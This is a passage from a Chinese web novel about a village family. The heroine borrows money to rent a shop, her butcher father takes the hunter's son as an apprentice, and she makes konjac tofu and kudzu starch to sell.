“好,那这钱可是沈大哥身上所有银钱?” …… 確定好这钱是沈山平一人所有,且他家里暂且不急着用钱,他自己手里还有些铜子应急后,林真眼一弯:“多谢沈大哥仗义相助,且等等,我给你打个欠条来。” 至于利润,林真没提,提了眼前这人定然要跟她急。 往后,有的是机会偿还这份儿人情。 沈山平性子莽直,可他不是蠢人,心中倒是对林真高看一眼。当然了,他现在对跟着林屠戶学手艺之事那是再没一丁点儿怨言了。 姜还是老的辣,还得是他爹,眼神利着呢。 林家,確实值得深交。 才送走了沈山平,拍门声儿又响起。 “怪了,今儿是怎的了?难不成又是一个给我送钱来的?” 峰回路转,鋪子有了着落,林真有心顽笑几句。日头都快没了,若无大事,村人一般不会在这个时辰来串门。 “真姐儿,这是我凑的两貫钱,也不晓得你还差多少,你先拿去用。这几日我多往外跑跑,应当还能再凑一些出来。”林茂安将粗布包着的铜子儿递给林真。 还真是又来个给她送钱的?林真实在是不晓得说些甚:“茂安哥,这……” “你别瞒我了,我先前听见你和婶娘说话了。那鋪子該赁还是得赁,你也别客气,你店里生意好,腐竹豆干儿的名气再响亮些,我往外头售卖时也跟着沾光哩!” 显然,林茂安可比沈山平会说话。 “成,我给你打欠条!”林真点头,债多了不愁,沈山平的钱都收了,林茂安的她也收。 苗娘子手里拿四貫,账上支五貫出来,再加上沈山平和林茂安的五贯,不止能将半年的赁钱凑出来,剩下的两贯还能用来预付定金,教匠人尽快将铺子修整出来。 如此,便能一边支摊子赚钱一边装修铺子。再有,苗娘子手里能留些钱,账上也还有钱周转,家里人也放心些。 “茂安哥,有你凑的这两贯,我明日就能去将铺子赁下来。你别担心了,秋收将至,田里活计重,你可悠着点儿,累坏了身子不值当。” 林茂安賺得是辛苦钱,家里的活计他从不落下,豆干的生意他也跑着。整个白日里,就没有能安生歇着的时候。 林大伯家里只有一头老黄牛,他往外售豆干,全凭肩挑手提,草鞋都穿坏了好几双,整个人比先前黑瘦了不少。 如此辛苦才攒下来的钱,如今一股脑全给她了。 “你这人情我记下了。”林真道。 “这有甚?原就是承了你的情才得的赚钱机会,咱俩家是甚关系?可别说了,忒生分了些。”林茂安说也不要人送,趁着些許余晖赶紧家去。 “在想甚?”贺景用胳膊碰了碰林真。 “在想,我这辈子的运道可真好!”手里的铜子儿沉甸甸,心里也满当当。 人间的温情,确能滋润人心,教人格外眷恋。 “真姐儿,大景,你爹醒了!”苗娘子欢喜道。 “就来!”倆人一齐进屋去,果真瞧见林屠户醒了。 饱睡一觉后,他整个人瞧着好了許多,面上也有些血色,不似先前那样吓人。 “爹,您先前瞧着可吓人了,教家里人好生忧心,往后啊,您可得悠着点儿。”既然林屠户没大碍,林真便不放过这个机会,开始秋后算账。 “晓得您心里着急,可有甚事儿也当家与里人商量一二啊?我有事哪回没跟您商量?您呢?哼哼…… 林屠户不敢反驳,只小声嘟囔:“不是,谁晓得那家汉子中看不中用,恁大的人了,还能教豬给拱了。那我不是得去拦?真教那猪跑出去了,拱了人或祸害了田地,那更是有得掰扯。” 林真点到为止,又指着桌上粗布包着的铜钱道:“”瞧瞧,赁铺子的钱,凑够了!沈山平给凑了三贯,茂安哥凑了两贯,我明儿就去将铺子赁下来。” “这,茂安就算了,沈家这小子怎也跟着凑热闹?”林屠户皱眉,“可是为着收徒之事?” “不,是沈山平自个儿的主意,钱也是他自家的私房钱,沈猎户不晓得。人瞧着多实诚,我便收下了。”林真意味深长地又补了一句,“当然了,也挺犟的,不收还跟我急。” 林屠户裝作听不懂的样子,只问自己想问的:“真姐儿觉着沈山平此人如何?” “别,您别问我。您收徒該考察便考察;我收钱该还钱便还钱,咱俩各算各的。若沈山平今日给我送了钱,明日您就松口收徒,他怕是要不高興呢!”林真摆手,又宽慰她屠户爹。 “您且安心养伤,家里的事儿有我们呢。” 杀猪原就不轻松,兼之肉攤子上还要长久地站着。 长年累月下来,林屠户腰上本就有些小毛病,这回还教那头二百来斤的肥猪给拱了一下,着实要好生躺几天。 说了一会儿话,林屠户面上露出疲色,几人便出去了。 林真顺手把燕儿捞走,对苗娘子道:“娘子也早些歇着吧,您放心,今儿我和燕儿一道歇息。” 今日家中出事,大人难免焦急,燕儿还小又格外敏感些,也不晓得会不会被吓到。 燕儿欢呼,贺景悄悄抿嘴,整好教林真瞧了个正着。 “燕儿还小,要哄,你就不用了吧?”她也是狭促,还专门凑过去取笑人家。 “真姐儿无此意,我也不强求。燕儿也快长大了,咱们,来日方长麽。”贺景现在与林真拌嘴也是有来有回。 翌日,贺景与林真牵了大毛出来。 今儿要去给丰乐楼送腐竹,还裝了十三贯钱,东西又多又沉,只能牵走年轻力壮的大毛。 “娘子,今儿还不晓得要耽搁到何时,咱腐竹还有些存货,鹵豆干攤子上不卖了,今日便少磨些豆子,你别一个人挑豆皮儿,咱夜里多干一会儿便是。” 林真今儿不止要将铺子赁下来,还得找泥瓦匠来修整铺子,贺景今儿送了她得留下来守摊子。家里只剩苗娘子一人,虽请了有田叔来帮着滤豆浆,可她一人到底辛苦,还是少磨些豆子的好。 倆人像往常一样赶到興福坊内,贺景去支摊子,林真去找老巡栏。 “早啊,您老现可得空?咱定契去?” 老巡栏瞧着笑眯眯的林真,心里暗自点头:他果然没看走眼。 “成,林娘子果然能耐。”老巡栏痛快点头,领着林真去找他小女婿。 许经纪不愧是挂了牌子的庄宅牙人,只半晌,便将租赁文书办下来。 文书到手,林真将半年的赁钱缴足后也是松了一口气。带着恁多铜钱,沉不说,还招眼。 许经纪办事爽利,林真手里确实没钱了。便拾掇了腐竹、豆干和脆枣来送他,老巡栏也照样有一份儿。 人说是赔礼,可她确实得了实惠,真一毛不拔也说不过去。 许经纪没賺到钱,可瞧见礼也是多高兴,很是热心地帮着介绍了靠谱的泥瓦匠人来。给了定钱,人当即就开始丈量屋子准备动工。 是以,今日倆人回家时,居然还挺早。 “咦,你们回来了啊?”来开门的是沈山平。 不是,这到底是谁家啊?—— 作者有话说:中秋快乐嗷 [红心][橙心][黄心][绿心][青心][粉心][紫心] 第42章 “多早就来了, 赶也赶后不走。”苗娘子指着已经过滤出来的几大缸子豆浆,小声道,“上磨比大灰还积极。” 家里现有的三头牲口, 属大灰最是精明。也不曉得是不是知道林屠戶心疼它,尋常上磨很是不积极,非得喂一把豆饼或莱菔才成。 瞧见倆人家来,沈山平还算有眼色, 说要告辞。 “沈大哥且等一等, 教賀景送一送你。”林真道。 “我一个大老爷们?送甚送?几步路的事儿。”沈山平语气颇为嫌弃。 “请客吃飯麽, 自然得上门相请。”林真微笑。 “咦?你要请我家吃飯?我来幹活可不是为着你家的饭食,不肖多说,我这就家去!”沈山平粗声粗气,似乎有些生气。 “这沈家大哥可说岔了, 我可不是请你吃饭,是有些事儿想与沈獵戶相商, 你只是捎带的。”林真似笑非笑。 “啊?那你尋我爹做啥嘛?”沈山平摸摸头, 声音低下来。 “这你甭管, 你家且不是你做主罢?夕食的时候,你自然能曉得。”林真得意。 “那, 喝不喝酒?”沈山平眼睛亮起来, “前儿吃的那兔子极好, 只是席面上不好多动筷子, 没吃痛快。賀兄弟快快与我家去,再宰一只, 不,两只兔儿来,还像那日一样, 多多地放些山椒茱萸来炒!” 林真覺得,刚刚与沈山平暗暗较勁的自己,有亿点点傻。 她有些无奈地出声阻拦:“别,一只就够了。你昨日拿来的那只野山鸡不好好吃食,今儿宰了来燉栗子吃,有恁些菜呢,一只兔子且够了。” 沈山平覺着不大够,刚想说话。 林真面带微笑盯着他:“怎的了?” “没,没啥。”沈山平不说话了。奇了怪了,这林家姐儿瞧着温言细语的,可他怎感觉,这样子与他爹唬着脸骂他的时候差不多呢? 送走沈山平,一家子又忙活开来。 苗娘子说今日不止沈山平来幫忙,林茂安一大早来幫着给林屠戶梳洗,又将家里的水缸子灌滿才走;后头林巧儿又来帮着扫撒屋子和烧火。 林真暂且记在心里,今日请沈家父子确实是有事儿相商,倒是不好喊大伯一家来吃饭。 想了想,幹脆将今日买来的一兜子山栗子都开了口子下滚水里煮。 全剥了,再多加两瓢子水,滿满当当能燉一大锅,到时候给大伯家里端一碗去。 燕儿帮着扒栗子皮,林真便承诺将那只野山鸡身上最好看的尾羽都留下来给她。为着那华丽的尾羽,燕儿很是賣力气。 她得好好想一想,是拿羽毛制毽子呢?还是央娘给理一理,直接戴头上呢? 得亏林真不曉得燕儿还想着戴鸡毛,不然一准儿将羽毛都收起来,一并送去縣里,不拘是换几个铜子儿还是一柄鸡毛掸子都是好的。 总比插头上强。 夕食果真丰富。 野山鸡从羽毛到肉是一点儿没浪费:炒鸡血、炒鸡杂、山栗子炖鸡。还有沈山平指名要的爆炒兔丁,再拍个胡瓜凉拌,切一方腊肉来炒豆干,又是满满当当摆了一桌子。 林屠戶也挣扎着起身来作陪,他实在躺不住了。 今儿大夫来施针时,他好说歹说才争取到了起身的资格,他也晓得不能就久坐,一上桌子便先道恼:“沈大哥,今儿我喝不得酒也不得久坐,还请你见谅,教大景好生陪你喝一盅。” “林老弟哪里的话,是我家这小子不懂事,好端端的净给人添麻烦。”沈獵户今儿对着贺景倒是客气,等人一走,关起门来,已将沈山平好一顿骂。 此时沈山平听了这话,一个勁儿地拿眼睛觑林真。 林真,林真低头吃饭,装作没看见的样子。 过了一会儿,众人肚里有了些食,桌上的气氛也活络了,林真这才开口说话。 “沈伯,前儿我瞧见您送来的野山鸡是修过翅羽的,敢问一句,您家里可是养了山货?” 沈獵户心里惊讶:这林家姐儿可从来没往他家去过,只凭一只剪过翅羽的野鸡,便能猜到他家里在豢养山货? 沉吟一瞬,沈獵户到底还是点了点头:“是,有时运道好,从山里多得了些东西。夏日里野物价不好,便选那些没大伤的试着养一养。可也养不了多久,山里的东西性子警惕,不易喂食,有时候白白养没了或是养瘦了反倒吃亏。多年下来,也只有兔子和这野鸡能多养一段时间。真姐儿问这个是要作甚?” “我运气好,在縣里的长兴坊赁得了一个铺子,便想开个既賣肉又賣腐竹豆干的杂货铺。那铺子宽敞,外头还可支个长桌,如此一来,只摆家里现有的这些东西怕是少了些。我便想着从村里收些鸡鸭来卖,摆出来也好看些。可又一想,长兴坊内已有一个卖肉的铺子了,且里头住的那些人家颇有家资,铺子里若是没有些好东西怕是引不来客人,若是您那头每天可供些山货,有这个噱头在,不愁没客人。”林真将自家的打算一一道来。 “只是不晓得您是否方便。若是您那头有固定的买家,沈伯也不肖为难,我再想想别的法子便是。”见沈猎户沉吟许久,林真先解释。 她可没想拿捏人强迫人家卖山货给她,原是瞧见沈山平两次上门,都拿得出兔子来相送,猜测沈猎户家里该是养了一些,便起意帮着售些,也算双赢。 若是此计不成,她有得是其他的法子来吸引人。 “倒是没甚固定的买主,若是寻常的猎物,便一股脑卖给县里专们整治山货的山珍食铺;若是紧俏些的货物,倒是我们自个儿去集市上卖。只是你若是要长久的供货,只怕是不成的。”沈猎户道。 “这怎么说的呢?”林真很是平静,并无一丝急躁。 “嗨,真姐儿,我家里只有我和我爹俩人哩。从山里猎了东西来养,我爹倒是一直有这个想头,可家里没人可怎么养?我们一上山,便是十天半月的不见人,这些东西养在家里怕是早饿死咯。只是我爹不死心,寻常下山总会留下些活的来养着,可我们一上山,还不是一股脑全卖了去。”沈山平这时候开口。 他啃着鸡爪子,没心没肺地补充一句:“我老说我爹是白费劲儿,他还不乐意听,一说便要骂人哩。正好,今儿你给评评理,是不是白费劲儿?” 林真用一种关爱傻子的眼神看向沈山平。再瞧瞧沈猎户,果真是一副恨铁不成钢的模样,瞧着还怪是可怜的。 “沈大哥倒是教我好生羡慕。”贺景适时开口。 “嗯?”傻狍子一样的沈山平疑惑。 “沈伯为你,可真是用心良苦,心里晓得许是难有结果,可还是要试一试。若是真能将山里的野物养住了,那便能在山下安稳过日子。哪里还用得着时常进山呢?我虽没打猎的本事,可也晓得,在山里讨生活,哪是容易的呢?” 贺景一番话,把沈猎户说得眼眶一热,差点儿失態。慌忙借着喝酒的动作掩饰过去。 “啊?是这样?爹,那您怎不说啊?” 一桌子的人都只当没瞧见沈猎户的失態,偏偏他自个儿的親儿子不懂事。 “说!我说个屁!就你这鸟,这样子!对牛弹琴都比对着你好使,我说了当白说!”沈猎户先是骂道,后又转过头去跟林屠户道。 “林老弟,我也不瞒你。这小子,养东西是不成的,打猎也差些火候。恁大的人了,还得他老子跟着忙前忙!我跟你说句掏心窝子的话,天长日久的在山里讨生活,哪家好人家的女儿会嫁他?我愁得不行,瞧见你回村了,这才觉出一点儿盼头来。” 沈猎户是真教贺景这番话把真心引出来了。 “我沈家是外来户,自从他娘去后,在村里是再找不出第三个人来帮忙。村里人是怎么说的你應该晓得,山脚下,除了我家,鬼影子都没一个,没人乐意往那头安家去。都说我沈家是遭了报應啊!” “唉!沈大哥,村人多事,偏又觉着咱们赚钱容易,可不得在嘴上找回来嘛?你作何与那起子爱嚼舌根的一般见识。”林屠户赶紧劝道。 沈家和他家还真有些像,同样来钱快些,同样沾了杀生,又同样死了媳妇且人丁不旺。 村里那真是说甚的都有。 林屠户早年还气不过,如今家里和睦,瞧着是要起来了,他倒是不生气了。可沈家这情况,他还真是不好劝,只能干巴巴说一两句。 好在沈猎户只失态了一瞬,又道:“我是想着,我家这不成器的小子,还算有几分力气,人也肯听劝。这才厚着脸皮打你的主意,他下刀子拆解猎物都不怂,若是能学得你一二本领,便就在山下讨生活,再不进山去。我便能请媒人说得一门好親来,瞧着他成亲生子,我便不算对不起他娘了。” “这有甚说得?大山这小子憨直,心地不坏,人还有底子在,都不肖我手把手地教,收个这样的徒弟,是我赚了!”林屠户一口应下来。 “老弟这话可当真?今儿是来不及置办拜师礼了,大山,你且跪下,给你师傅磕个头,咱明日置办了东西再来正经拜师!”沈猎户一边说,一边在桌子底下踢了他这个蠢儿子一脚。 沈山平许是平时被训多了,一下子便跪下来。 ’嗙‘的一声,实实在在磕在地上,口中道。 “师傅!” 林真,目瞪口呆—— 作者有话说:明天没有哦 从10/10/开始日更,容我攒一攒[可怜] 第43章 瞧着沈猎户顺手推舟, 三言两语就将林屠户和沈山平的师徒名分定下来。 被秀到的林真:可真是厉害,不愧是能在深山里讨生活的人!難怪沈家一外来户,却在枣儿村没受欺负, 反而混得不错。 再看看林屠户,笑呵呵地虚扶了一把沈山平,瞧着一点儿都不意外。 林真和賀景对视了一眼,这俩, 演他俩呢? 好在拜师过后沈猎户便说起山货之事, 连称呼都亲近许多。 “真姐儿, 沈伯不瞒你。这回下山我原就打算多待一段时日,家里留下来的山货相较平日里便多些。兔子有个七八只,还有一对儿成年的种兔。野山鸡少些,这東西比兔子難养, 只有五只。你那铺子才赁下来,修葺一番, 再挑个好日子, 最快也得月余才能开张。这段时间, 先将我家里的那些兔子野鸡送到你这头来养着,我再与大山进山一趟, 多尋些兔子野鸡来, 你那铺子便不愁山货供应了。” 似乎是怕众人不信, 沈猎户又补了一句。 “兔子这東西好养, 长得快,下崽也快, 且一回就能揣上七八只崽子来。若是养得好,一对种兔一年能得四五十只崽子。养上两三对,铺子上便能日日有兔子。至于野山鸡, 虽不好养,可深山里山鸡和笨鸟易得,不去尋大家伙,我三五日去一趟山里,也不愁。” 得,沈猎户虽精明,可人确实大方重诺,连以后的货源都许诺了。 “有沈伯这句话,我再没甚不放心的了。”林真笑着道谢,又道,“沈伯,山里少有人去,蒟蒻和葛根长得不错吧?” 都拜师了,那就是自家人;既是自家人,林真可不客气了! “有啊,满山都是。还有这栗子,真姐儿,你莫不是教人给哄了,你这買的栗子可不好吃,像是陈的。”这是又开始嚼嚼嚼的沈山平。 沈猎户张了张嘴,想说些甚。可最终却转过脸去,不看了。 算了,算了,不管了!往后都是他们年轻一辈打交道,他一个老头子混在里头算甚? “对啊,我估摸着就是那人哄我,说得多辛苦,打深山里背了大半日,衣裳都磨破了才弄回来的。可我琢磨着,山里气温更低些,应当是没有今年新成熟的栗子罢。”林真幽幽道。 沈山平半点没觉着不妥,反而点点头:“你定是被骗了,栗子我反正是没瞧见,可山里的葛根蒟蒻到处都是。你要这東西啊?我给你找来,栗子我也给你找,只是……” 沈山平嘿嘿一笑:“你得再燒一回这栗子炖鸡,先前不曉得这山栗子和野鸡炖在一块儿是这样的好滋味儿呢!” “成,前山是再找不着这些東西的。也只能往深山走,若是能找着,制出葛粉来,拿去送人或是在铺子里售賣,都是极好的。”林真不避讳,大大方方的。 “嚯,你还会取葛粉呢?”沈山平能曉得葛粉,还是因着她娘。 大夫说他娘秋日里吃葛粉粥好,他家便去買,药吃着,葛粉粳米养着,可他娘还是走了。 “成,我明日就去给你找,那玩意儿好找得很。”沈山平打包票。 “你一人可不成,葛根分柴葛或粉葛,柴葛不怎么出粉,得挖粉葛。且即便是粉葛,百斤葛根怕是只能取十来斤粉,你一人要挖到甚时候去?还有,我还得去尋一样东西加在葛粉里,这样制出来的葛粉会更白净。你得帶上我,呃,还有賀景。”林真对自己没甚信心,决定把賀景拉上。 沈山平撇嘴:“真姐儿,你不成。你往前山去都费劲儿,往我家那片打猎的山头上,按我的脚程算,都要往里走一个多时辰,帶上你,怕是得走到日上中天去,咱还怎么挖葛根?这样,你要甚与賀景说明白,明儿咱俩先进去,帶了东西出来给你瞧。若真是你要寻的东西,后日再叫上你两个堂哥,我们四人,能背几百斤葛根出来,这总够你用了罢?” “好叭。”被嫌弃了,还是明晃晃的那种,可林真还真寻不出话来反驳,只能点头。 事情说定后,沈山平来劲儿了。 “进山的规矩曉得吧?要绑腿,里头缠布条,外头再細細缠一圈儿麻绳,一直缠到膝盖窝;手也要缠上,可别嫌麻烦,防蛇的哩。” “啊?山里蛇多嘛?”林真头皮发麻。 “嘻,多着呢!对了,药粉和铃铛你家里肯定没有,那也不用帶了,我家那头有,我想想,再别一把柴刀罢……” “别听他的!” 眼见沈山平越说越来劲儿,林真面上的忧色越来越重,沈猎户不得不出声打断。 斜了儿子一眼,沈猎户道:“大景明日将麻绳缠好,带上锄头背篓便是。葛根在山里易得,我们落脚的屋子周围遍地都是。那处且不算深山,我们夜里住那头,常活动着,每回上山都洒药粉,山里的东西都精着呢,轻易不会往那头去。” 林真放心了,若为着蒟蒻葛根教贺景受伤,那这东西不要也罢。 沈山平蔫吧了,好容易逮着一回机会,还没将场子找回来呢,又被他爹压住了。 除了这个小插曲,这顿饭还是很愉快的。 翌日,贺景在家里收拾好了,打着火把去找沈山平,他出门比林真还早些。 因着林屠户受伤,今日便托了林茂安送林真进城擺摊。 再一次,林真觉着家里人手少。 朱家分茶店和马娘子那处的豆幹销量依旧稳定,兴福坊内的摊子也得继续支开,她按月缴足了赁錢的,这月还没到期,她更不会放过这擺摊的机会。 长兴坊的铺子定下来了,她支摊子一能赚錢;二嘛,她得将兴福坊这头的熟客都引到长兴坊的铺子上去! 林真自这日擺摊起,但凡有客人来買腐竹豆幹,她都会说上一句:“在长兴坊赁得了一个铺子,往后都在那头賣东西。铺子上会添些蒟蒻豆腐来賣,还賣猪肉,鸡鸭兔子甚的也都有。” 下半晌是贺景赶着驢車来接,脸上还挺欢喜。 “瞧这样子,是找着了?” “应当是的,鹅掌裂叶,圆墩墩的根,应当是粉葛。就是你说的貫众,不晓得找没找对。”贺景道。 “那没事儿,若是找不着便去熟药局買麽,反正还要买寒水石。”能找着粉葛便很不错了,“对了,兔子带了没?” 贺景从背篓里掏出用芭蕉叶子裹好的兔子:“带了,剥了皮开了膛,都收拾好的,斩作小块儿便能下锅。” 倆人便牵着驢車去丰乐楼后门找林福。 “托你和林掌柜的福,从老巡栏的女婿,许经纪那头赁得了一个好铺子。本是昨儿就该来谢你的,家里有些事耽搁了。今儿才来,林小哥可别怪。”林真又将包好的兔子递给林福,“村里有猎户,恰好得了只兔子,林小哥拿回去,铁锅荤油,再加山椒子茱萸爆炒,味儿好着呢!” 林福一开始想拒绝,可听见林真说起这兔子的吃法倒是稀罕,不由听住:兔子丰乐楼自然是有的,可他们大多用来片成薄片,制拨霞供涮着吃,倒是少有这般浓油赤酱地用来炒制。 他心中一动,面上带着亲热的笑:“这是怎说的?老巡栏是个热心肠的人,平日里消息又灵通。林娘子能从老巡栏那头赁得铺子定是娘子平日处事周全之故,我可不敢居功。倒是又偏得了林娘子的好吃食,正好今儿我下工早,家去按照林娘子的方子炒了这兔儿来,请掌柜的好生喝一盅。” 瞧瞧,跟聪明人说话就是省心。 与林福寒暄几句后,二人去寻马娘子和朱掌柜,又去正在抹灰的铺子里瞧了一眼才家去。 回了家,院子里已经摆了好些葛根、蒟蒻和羽状长叶的植物。 “不晓得你说的貫众是哪一样,我瞧着差不多的都采了些回来,你瞧瞧可有?”贺景道。 林真过去扒拉那堆杂草,眼前一亮!还真有。 “这个就是,这东西多长在沟谷边和阴坡林下,我要它的根。”她又瞧了瞧那三四个疙疙瘩瘩的蒟蒻,一笑,“长在深山里的蒟蒻就是大个,这一个得有七八斤了。咱今日先取一个来制成蒟蒻豆腐,先去摊子上试试水。” 一斤蒟蒻能制成三四斤蒟蒻豆腐,制个二十来斤,在摊子上应当能全卖完。 这位东西没人专门种,都是村人山野里去找的,集市上不算常见,算是个新鲜玩意儿。反正她在兴福坊内摆摊许久,也没瞧见有人卖。 蒟蒻豆腐其实不難,蒟蒻去皮洗净,将其細细磨成浆糊,在糊糊里头加入适量的碱水搅拌均匀,静置一会儿后便会凝固,这时候用滚水稍稍一烫,等它定一定型,拿刀子小心划开,再一方一方取回锅里用滚水煮。 这时候的蒟蒻豆腐还未完全成型,稍有不注意就会散开,取拿的时候必得万分小心。盆里剩余的水里含碱,也倒回锅里一并煮,能教蒟蒻豆腐定型更稳。 操作不難,难得是碱水的配比,可林真有前世的经验,这也难不倒她。 唯一难的是:这时候可没有手套,她手痒。 生的蒟蒻,稍微沾上一点,便能教人痒上大半天。可制成熟的蒟蒻豆腐,不管是炒、凉拌还是燒煮,都是难得的美味。 且这种自家纯天然手工制品,气孔大又有韧性,格外吸汁好吃。 要拿出去卖的,到不必全煮透了,只需能定型就成。 林真伸手拿了一块儿,软软弹弹,再颠一颠。成了,不至于太嫩受不住颠簸,表面不算光滑,可也只有少许蜂窝,不算老。 林真很是满意,留了几方家里吃和送人,其余的全部放好,再加些水泡着,预备着明日一并拉去县里卖。 == 今儿林家的石磨就没停过,先是磨豆子,后磨蒟蒻,然后还要磨葛根。家里的两头驴子加一只小骡也是头一回上强度,吐着舌头直喘气儿,瞧着也是累着了。 苗娘子取了麦麸加些盐煮了,给老中小三头加餐。 林真摸摸小灰的大耳朵,也不管它听不听得懂,开始画饼:“往后还给你们煮麦麸吃,咱也不会天天磨葛根,不会真教你们累着的。” 前世葛根取粉有打粉机,可这时候,想要取粉,除了人力便是畜力。家里人她舍不得,便只能委屈一下骡子毛驴儿了,她定然给它们好好加餐。 取葛粉也不难,只是废时间废功夫,磨碎、搓揉、过滤、沉澱、换水,再过滤、沉澱、换水。要想制得的葛粉细腻少杂质,后头洗粉的步骤得重复个三四回。 若是在第一次沉澱过后,加入过滤好的贯众水洗粉,贯众水与葛粉浆水便能产生一种奇妙的反应,进一步将葛粉中的油泥吸附走,后续再洗两三次粉,不止能省些功夫,得到的葛粉比寻常还要更为白净细腻。 这是林真的秘诀,是上辈子信息时代的馈赠。 不过今晚是看不见了,葛粉沉淀太慢,至少得等上三四个时辰,今日先制了蒟蒻豆腐,只能等明日。 “今儿你与沈山平上山,没出意外罢?”今日事情太多,入睡前,林真才有功夫问一问贺景。 “沈大哥上心,没出甚意外。山路迂回难走,蛇虫鼠蚁多,可这些倒是其次。山里林木深深,不闻人声,人一头钻进去,便似乎与林中的草木禽类并无区别,没带你是对的,那里头很是吓人。”贺景不大会形容那种感觉,只觉着越走越怕,好似要被吞没在这片林子里。 “恁吓人啊?那你明日进山可得小心,千万别落单了,与茂安哥他们也仔细说。”林真拍拍贺景,“辛苦你们了。” “无事,我们有沈大哥护着,明日沈伯也与我们一同去呢。”贺景先安慰林真,后话头一转,“只去这一回,我便晓得沈伯为何舍下脸面不要,也要将沈大哥塞给爹当徒弟。我们去的那片地,在沈大哥说来还不算甚,若是往他们打猎的地头上走,野草都有人高,几人合抱,望不见顶的巨木到处都是。那才能叫山,山里还有山,绵延百里不见尽头,等闲人靠近不得。” 贺景进山一趟,倒是对沈家父子去了芥蒂。且沈山平确实卖力气,贺景自认幹活算是拼命的,可沈山平比他还不惜力气。 今日挖得这样多的葛根蒟蒻家来,沈山平挑了大头。 “那看来咱们往后得待沈山平更好些。”林真嘀咕道。 这时候的山里竟是这样凶险?嗯,得想个法子少往山里去,不怕一万就怕万一,她得想想,想…… “是,沈大哥是实诚人……真姐儿?”贺景说着说着,没听见回应,一扭头,瞧见林真已然睡过去。他失笑,摸了摸林真的头发。 “睡吧,今日确实是累着你了。” == 翌日,林真醒来时,贺景与林茂青兄弟倆已经进山了。 驴车上的货物都收拾好了,腐竹、豆干还有新制出来的蒟蒻豆腐都码放整齐了。 林大伯已经来了,就在院子里和林屠户说话。今日是林大伯送她去县里,林真来不及多想,与她爹和苗娘子打过招呼后,便与林大伯出门去了。 “大伯,今日不肖来接我,我去米行买豆子,还蹭他们的车回来。”林真的蹭车技巧,已然是出神入化。 “嗯!”林大伯点点头,想了想,又说一句,“少买些。马上秋收,村里种豆子的人家不少,比米行便宜。” “嗯!我晓得的,您家去小心些。”林真老实告别,她可不敢像对贺景一样,硬塞馒头给她大伯。 只能在心里盘算着:一会儿子去打一壶酒,家去再买只鸭子来燒蒟蒻豆腐,多整治几个好菜,将夕食弄得好些,教大伯和沈伯一家子都吃得尽心。 “咦,林娘子,你还会制蒟蒻豆腐啊?这又是甚价?”摊子上的熟客来照顾生意了。 “嗨,我这摊子您还不晓得麽?三文,通通三文,我这铺子都可改名唤作三文铺子了。”林真赶忙招呼人。 “呦!这样实诚呐?这蒟蒻不好得罢?前些日子在豆薪坊那处碰上了有人卖,明明都是被挑剩下的,可那摊主一口咬定四文錢,一个子儿都不少。说这蒟蒻是打山里弄来的,稀罕又危险,贱卖不得。偏生我家里的那个犯了馋病,非要吃,我也只得摸钱买了。我瞧他那蒟蒻豆腐可不如你的。”妇人显然对先前没杀下价来耿耿于怀,好一通抱怨。 “是,这蒟蒻能卖钱。乡野人家赚钱路子少,这能卖钱的东西可不是不好抢麽?无主的山本就少,要弄这东西非得往深处走,确实不好得……” 等等,林真脑中一闪,她好像记得,这玩意能种?可是,是怎么种来着呢? “哎!林娘子,林娘子?” “对不住,对不住,夜里没睡好,走神了。您要一方是吧?买回去烧鸭子吃,好着呢!” …… 一上午,因着蒟蒻豆腐,林真又是久违的收了个早摊。 蹭着米行的车家去后,先跑去将葛根最上面上那一层浑浊的水小心倒掉,初次沉淀的葛粉再加清水,与过滤后的贯众水充分混合后,再一次等它慢慢沉淀。 然后又去挑腐竹,制豆干,一直忙碌到日斜,还不见上山的几人家来。 林真有些心急,可也只能按捺下焦急之色,又与苗娘子一同忙着整治夕食。 林屠户瞧见家里人忙得团团转,自个儿只能干躺着,心里焦躁得很。 好在大伯娘带着一家子早早来帮忙。 上山的五人,也总算是在日头完全落下去之前,带着满身的尘土与疲惫,家来了。 林真端了热水来教众人擦洗。 “入秋了,可别光用井水,凉着呢!兑些热水洗洗,一会儿再喝盏子热米汤,歇一歇再吃饭。” 贺景累得说不出话来,只盯着林真笑了笑。唯一能说话的沈山平刚想开口,教沈猎户一巴掌拍得龇牙咧嘴说不出话来。 歇息了一会儿,众人帮着摆桌子端菜吃饭。 蒟蒻豆腐烧鸭子果然得到众人的一致好评,汤汁儿都教众人刮得干干净净拌饭吃。 饭后时间已然不早,林真各家送了两方蒟蒻豆腐。 “这些日子赖着你,可是吃了不少好东西。连吃带拿的,连鑫哥儿小人家家的,都带一包点心回去。”李金梅特意点出来,眼神瞟了瞟儿媳,可别又犯浑。 刘桂香低了头,不说话。 “大伯娘哪里的话,平日里您和堂哥们可没少帮衬家里,吃些东西算甚?快别说这些见外的话了。” 沈山平就没想恁许多,笑嘻嘻道:“妹子,你明日可是要取葛根粉?我来给你帮忙,也不肖别的,你烧一碗蒟蒻豆腐给我拿家里去就是。我和我爹都不怎么会烧饭,白白糟蹋了你这好东西。” 沈猎户揣着手,别过脸去,一眼都不想看自家这越来越蠢的儿子。 “成!明日我家里还真需要人手。”林真痛快点头。 她明日不去摆摊,要在家里看着取葛根粉,支使了贺景去摆摊,家里还真缺个壮劳力来使唤。 隔日一早,贺景才要出门,沈山平已经溜达着过来了。 “恁早?可吃了朝食了?”林真惊讶。 “吃了,你别管我,有甚事儿你吩咐就成。”沈山平道。 “成,咱们今日取葛粉,洗葛根去皮儿的事且不肖沈大哥动手,搅葛粉浆水和取水这样的活计便只能托你动手了。你先来瞧瞧我前日制的这缸子葛粉,粉都沉在最下头,上层的水是不要的,都要倒掉。倒水的时候需得小心些,动作必得轻缓,避免将下头的粉子冲走。” 林真用的陶缸有半人高,用瓢舀,慢不说,到最后,很容易将底下的淀粉冲起来。葛根出粉率本就不高,她是一点儿都不想浪费。 “成,我晓得了,昨儿瞧见大景弄过。你先去忙,能瞧见粉子了我自会唤你。”沈山平这时候瞧着很是靠谱。 林真点头,清洗葛根去了。 沉淀过后的葛粉是湿粉,得教日头晒透了才能保存,她得趁着天儿好,将葛根粉全取出来。 “妹子,你来瞧。” “来了!”林真扔下手里的葛根忙跑过去。 陶缸内那层黄白色的淀粉瞧着实在喜人,林真伸手一捏。 “成了,沈大哥,再取清水来,顺着一个方向慢慢搅动,咱再洗一次粉便能成!” 贯众水果然有奇效,能少洗几次粉。 “嗯?还要洗?”沈山平瞪大眼睛,“我瞧着比熟药局里卖的,也不差甚了。” 林真点头,也不瞒着他:“再洗一次,其白净细腻程度便能将世面上大多数的葛粉都比下去。如此,从我手头出去的葛粉便能卖个好价钱!”—— 作者有话说:万字实在做不到[可怜] 二合一奉上,大家看文愉快呀[烟花] 第44章 取粉过后还得曬粉, 湿粉曬透还需两三天。 